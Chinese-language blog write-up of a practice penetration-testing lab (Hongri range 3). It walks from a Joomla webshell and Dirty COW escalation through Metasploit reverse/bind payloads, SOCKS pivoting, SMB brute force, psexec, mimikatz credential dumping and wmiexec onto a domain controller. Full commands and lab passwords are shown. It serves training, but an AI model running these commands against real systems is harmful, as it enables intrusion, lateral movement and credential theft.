838 字
2 分钟
红日靶场三
2026-09-03
渗透
域渗透
/
渗透测试

红日靶场三#

用的无境靶场打的 因为我是懒狗不想配环境 然后就是本地搭建太费内存了

https://bdziyi.com/ulab/lab.html?page=target-detail&id=271

目标地址：192.168.111.20

本地地址：192.168.111.25

信息收集#

nmap -sV 192.168.111.20

image-20260901202839786

开启了三个端口22/80/3306

web渗透#

打开web发现是一个blog系统 通过指纹查询我们知道是一个joomla

然后我们然后进行目录扫描

dirsearch -u "http://192.168.111.20/" -i 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )


Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11462


Output File: /mnt/d/Cyber_Security/CTF/无境/内网域渗透/红日靶场三/reports/http_192.168.111.20/__26-09-01_20-53-19.txt


Target: http://192.168.111.20/


[20:53:19] Starting:
[20:53:29] 200 -   24KB - /1.php
[20:53:29] 200 -    0B  - /2.php
[20:53:37] 200 -  526B  - /administrator/includes/
[20:53:37] 200 -   31B  - /administrator/cache/
[20:53:37] 200 -   31B  - /administrator/logs/
[20:53:37] 200 -    2KB - /administrator/index.php
[20:53:37] 200 -    2KB - /administrator/
[20:53:42] 200 -   31B  - /bin/
[20:53:43] 200 -   31B  - /cache/
[20:53:44] 200 -   31B  - /cli/
[20:53:44] 200 -   31B  - /components/
[20:53:45] 200 -    0B  - /configuration.php
[20:53:45] 200 -    2KB - /configuration.php~
[20:53:51] 200 -    1KB - /htaccess.txt
[20:53:52] 200 -   31B  - /images/
[20:53:52] 200 -   31B  - /includes/
[20:53:52] 200 -    4KB - /index.php
[20:53:52] 200 -    3KB - /index.php/login/
[20:53:54] 200 -   31B  - /layouts/
[20:53:54] 200 -   31B  - /libraries/
[20:53:54] 200 -    7KB - /LICENSE.txt
[20:53:56] 200 -   31B  - /media/
[20:53:58] 200 -   31B  - /modules/
[20:54:02] 200 -   31B  - /plugins/
[20:54:03] 200 -    2KB - /README.txt
[20:54:04] 200 -  392B  - /robots.txt
[20:54:09] 200 -    0B  - /templates/beez3/
[20:54:09] 200 -   31B  - /templates/index.html
[20:54:09] 200 -   31B  - /templates/
[20:54:09] 200 -    0B  - /templates/protostar/
[20:54:09] 200 -    0B  - /templates/system/
[20:54:09] 200 -   31B  - /tmp/
[20:54:12] 200 -  628B  - /web.config.txt


Task Completed

看到有个后台路口和配置文件

在http://192.168.111.20/configuration.php~

发现有了mysql的账号密码

public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';

image-20260901205827774

然后我们既然拿到数据库了 我们直接改他密码就行 然后我这里直接问了ai

image-20260901210641902

$2y$10$FZxS6C14KVCZhskklnFVx.FPd0CdIx8cb.aif2Vecz/FaLxM4qsgi

看这个格式好像一样 直接改成这个 然后登录成功

image-20260901210744888

然后都进后台了 这种后台比较常见的就是模板或者插件的一句话了 我们可以上传一个一句话或者是反弹shell

我们新建一个文件 写入一句话木马

image-20260901212044184

使用蚁剑连接

image-20260901212057704

好像发现不能执行命令 猜测开启了一些选项 比较常见的就是disable_functions

查看一下phpinfo();

image-20260901212320010

发现还真是 我们可以使用蚁剑的插件进行绕过

image-20260901212416368

其实也不需要这样因为他只限制我们执行命令不限制我们读取文件

在/tmp/mysql/test.txt看到了账号密码 尝试复用

image-20260901214213032

image-20260901214426135

linux提权#

拿到web服务主机后

image-20260901214511340

我们发现有两个网卡 另一个是93

然后我们尝试对这个进行提权 通过信息收集我们发现这个系统存在脏牛漏洞

使用searchsploit dirty cow -m 40839生成payload

image-20260901215125888

提权成功

内网渗透#

我们使用msf进行建立sockets隧道

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.25 lport=4444 -f elf > sock.elf

然后。。。失败了 折腾了半天然后用wsl开vpn了

。。。。。好吧 只能正向

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o bind.elf
msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/bind_tcp
set RHOST 192.168.111.20
set LPORT 4444
set ExitOnSession false
exploit -j -z

配置路由+sock隧道

msf exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...


meterpreter > route


IPv4 network routes
===================


    Subnet         Netmask        Gateway  Metric  Interface
    ------         -------        -------  ------  ---------
    192.168.93.0   255.255.255.0  0.0.0.0  0       eth1
    192.168.111.0  255.255.255.0  0.0.0.0  0       eth0


No IPv6 routes were found.
meterpreter > run autoroute -s 192.168.93.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.93.0/255.255.255.0...
[+] Added route to 192.168.93.0/255.255.255.0 via 192.168.111.20
[*] Use the -p option to list all active routes
meterpreter > bg
[*] Backgrounding session 2...
msf exploit(multi/handler) > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf auxiliary(server/socks_proxy) > set srvport 6677
srvport => 6677
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 1.


[*] Starting the SOCKS proxy server

然后对93网卡进行探针

msf auxiliary(server/socks_proxy) > use auxiliary/scanner/discovery/udp_probe
msf auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.0-255
rhosts => 192.168.93.0-255
msf auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.0-255
rhosts => 192.168.93.0-255
msf auxiliary(scanner/discovery/udp_probe) > set threads 5
threads => 5
msf auxiliary(scanner/discovery/udp_probe) > run
[-] Unknown error: 192.168.93.0:5632 Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: 1 ["/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/channel.rb:116:in 'Rex::Post::Meterpreter::Channel.create'", "/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb:38:in 'Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::UdpChannel.open'", "/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:143:in 'Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket#create_udp_channel'", "/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb:96:in 'Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket#create'", "/opt/metasploit-framework/embedded/framework/lib/msf/base/sessions/meterpreter.rb:629:in 'Msf::Sessions::Meterpreter#create'", "/opt/metasploit-framework/embedded/lib/ruby/gems/3.4.0/gems/rex-socket-0.1.65/lib/rex/socket.rb:52:in 'Rex::Socket.create_param'", "/opt/metasploit-framework/embedded/lib/ruby/gems/3.4.0/gems/rex-socket-0.1.65/lib/rex/socket/udp.rb:39:in 'Rex::Socket::Udp.create_param'", "/opt/metasploit-framework/embedded/lib/ruby/gems/3.4.0/gems/rex-socket-0.1.65/lib/rex/socket/udp.rb:30:in 'Rex::Socket::Udp.create'", "/opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/discovery/udp_probe.rb:81:in 'block in Msf::Modules::Auxiliary__Scanner__Discovery__Udp_probe::MetasploitModule#run_host'", "/opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/discovery/udp_probe.rb:73:in 'Array#each'", "/opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/discovery/udp_probe.rb:73:in 'Msf::Modules::Auxiliary__Scanner__Discovery__Udp_probe::MetasploitModule#run_host'", "/opt/metasploit-framework/embedded/framework/lib/msf/core/auxiliary/scanner.rb:130:in 'block (2 levels) in Msf::Auxiliary::Scanner#run'", "/opt/metasploit-framework/embedded/framework/lib/msf/core/thread_manager.rb:105:in 'block in Msf::ThreadManager#spawn'"]
[+] Discovered NetBIOS on 192.168.93.10:137 (WIN-8GA56TNV3MV:<00>:U :TEST:<00>:G :TEST:<1c>:G :WIN-8GA56TNV3MV:<20>:U :TEST:<1b>:U :00:50:56:b1:a0:bf)
[+] Discovered DNS on 192.168.93.10:53 (Microsoft DNS)
[+] Discovered NTP on 192.168.93.10:123 (1c0104fa00000000000a06ad4c4f434cee4313877bcc8de2c54f234b71b152f3ee43170e93dcf030ee43170e93dcf030)
[+] Discovered NetBIOS on 192.168.93.20:137 (WIN2008:<00>:U :TEST:<00>:G :WIN2008:<20>:U :00:50:56:b1:aa:a7)
[+] Discovered MSSQL on 192.168.93.20:1434 (ServerName=WIN2008 InstanceName=MSSQLSERVER IsClustered=No Version=10.0.1600.22 tcp=1433 )
[*] Scanned  26 of 256 hosts (10% complete)
[+] Discovered NetBIOS on 192.168.93.30:137 (WIN7:<00>:U :TEST:<00>:G :WIN7:<20>:U :TEST:<1e>:G :TEST:<1d>:U :__MSBROWSE__:<01>:G :00:50:56:b1:39:a0)
[*] Scanned  52 of 256 hosts (20% complete)

嗯。。。不知道我的msf犯什么病了 后面全是垃圾话

然后我们这边可以看到三个ip

WIN-8GA56TNV3MV 192.168.93.10、

WIN2008 192.168.93.20、

WIN7 192.168.93.30

然后这个靶机我就一直用msf去做了 因为我真的害怕我用cs又会出现什么问题 老大 我错了

内网端口探测#

然后我们对每个机子进行端口检测

用的是auxiliary/scanner/portscan/tcp

msf auxiliary(scanner/discovery/udp_probe) > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.10
RHOSTS => 192.168.93.10
msf auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.10         - 192.168.93.10:53 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:88 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:135 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:139 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:389 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:445 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:464 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:593 - TCP OPEN
[+] 192.168.93.10         - 192.168.93.10:636 - TCP OPEN
^C[*] 192.168.93.10         - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.20
RHOSTS => 192.168.93.20
msf auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.20         - 192.168.93.20:80 - TCP OPEN
[+] 192.168.93.20         - 192.168.93.20:135 - TCP OPEN
[+] 192.168.93.20         - 192.168.93.20:139 - TCP OPEN
[+] 192.168.93.20         - 192.168.93.20:445 - TCP OPEN
[+] 192.168.93.20         - 192.168.93.20:1433 - TCP OPEN
[+] 192.168.93.20         - 192.168.93.20:2383 - TCP OPEN
^C[*] 192.168.93.20         - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.93.30
RHOSTS => 192.168.93.30
msf auxiliary(scanner/portscan/tcp) > run
[+] 192.168.93.30         - 192.168.93.30:135 - TCP OPEN
[+] 192.168.93.30         - 192.168.93.30:139 - TCP OPEN
[+] 192.168.93.30         - 192.168.93.30:445 - TCP OPEN
^C[*] 192.168.93.30         - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf auxiliary(scanner/portscan/tcp) >

我们发现是445端口都打开这 我们先从win8测试一下 爆破一下密码

use auxiliary/scanner/smb/smb_login


set RHOSTS 192.168.93.20


set pass_file /home/kali/桌面/pass.txt


set SMBUser administrator


run

image-20260902225147711

爆破出密码为123qwe!ASD

psexec横向#

有了密码直接psexec连接

msf exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf exploit(windows/smb/psexec) > set SMBPass 123qwe!ASD
SMBPass => 123qwe!ASD
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.93.20
RHOSTS => 192.168.93.20
msf exploit(windows/smb/psexec) > run

然后查看systeminfo知道域是test.org

image-20260903130116842

ping一下确定域控在10

image-20260903130142184

然后使用同样的原理可以拿到30的机子

wmi拿到域控#

然后我们用mimikatz提取一下密码

在msf中载入mimikatz模块

load kiwi

然后抓一下密码

kiwi_cmd sekurlsa::logonPasswords
meterpreter > kiwi_cmd sekurlsa::logonPasswords


Authentication Id : 0 ; 128096 (00000000:0001f460)
Session           : Service from 0
User Name         : Administrator
Domain            : WIN2008
Logon Server      : WIN2008
Logon Time        : 9/3/2026 8:07:42 PM
SID               : S-1-5-21-3814515962-2249813874-2772841674-500
  msv :
   [00000002] Primary
   * Username : Administrator
   * Domain   : WIN2008
   * LM       : ae946ec6f4ca785b93371dee1d5ee7e6
   * NTLM     : 31c1794c5aa8547c87a8bcd0324b8337
   * SHA1     : 128c0272959b85b330090611169d07d85cb6bd0b
  tspkg :
   * Username : Administrator
   * Domain   : WIN2008
   * Password : 123qwe!ASD
  wdigest :
   * Username : Administrator
   * Domain   : WIN2008
   * Password : 123qwe!ASD
  kerberos :
   * Username : Administrator
   * Domain   : WIN2008
   * Password : 123qwe!ASD
  ssp :
  credman :

然后这边一直没有找到域控的密码 嗯。。看了一下wp 发现都是从mimikatz直接抓取得到的zxcASDqw123!! 很神奇 我这边是一直抓不到这个域控的密码的

proxychains4  -f /etc/proxychains4.conf  -q python wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies


[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>powershell -c Get-Content C:\Users\Administrator\Documents\flag.txt
5a6239835a5a7e5e88d6f4d54dda2468

image-20260903172206076

嗯。。。总的来说 第一次打内网靶机 遇到的困难比想象中的多 题目很简单 但是遇到了很多问题 可能也是因为VPN和对内网渗透不太熟悉的原因 感觉很好玩的 也是学到了很多

分享

如果这篇文章对你有帮助，欢迎分享给更多人！

红日靶场三
https://blog.hollowqing.cn/posts/pentest/红日靶场三/
作者
Hollow
发布于
2026-09-03
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

红日靶场一
群友的靶机-Rus_hollow
相关文章 智能推荐
1
红日靶场一
渗透 红日靶场一从 PHP 网站入口、MySQL 写文件到内网横向与域控渗透的完整记录。
2
红日靶场二
渗透 红日靶场二从 WebLogic CVE-2017-10271 拿 Shell、内网信息收集与提权到横向移动拿下 de1ay.com 域控的完整记录。
3
vulntarget-d
渗透 vulntarget-d 从骑士 CMS 文件包含、PwnKit(CVE-2021-4034) 提权到内网代理与 phpMyAdmin 写日志拿 Shell 的完整记录。
4
vulntarget-a
渗透 vulntarget-a 从通达 OA 文件上传拿 Shell、Redis 未授权到三台 Windows 主机横向与域内信息收集的完整记录。
随机文章 随机推荐
1
群友的靶机-Calc
渗透 2026-04-14
2
红日靶场一
渗透 2026-09-03
3
群友的靶机-Smoke
渗透 2026-04-15
4
vulntarget-d
渗透 2026-09-19
5
群友的靶机-Rus_hollow
渗透 2026-08-22
© 2026 Hollow. All Rights Reserved. / RSS / Atom / Sitemap
Powered by Astro & Mizuki  Version 9.0

目录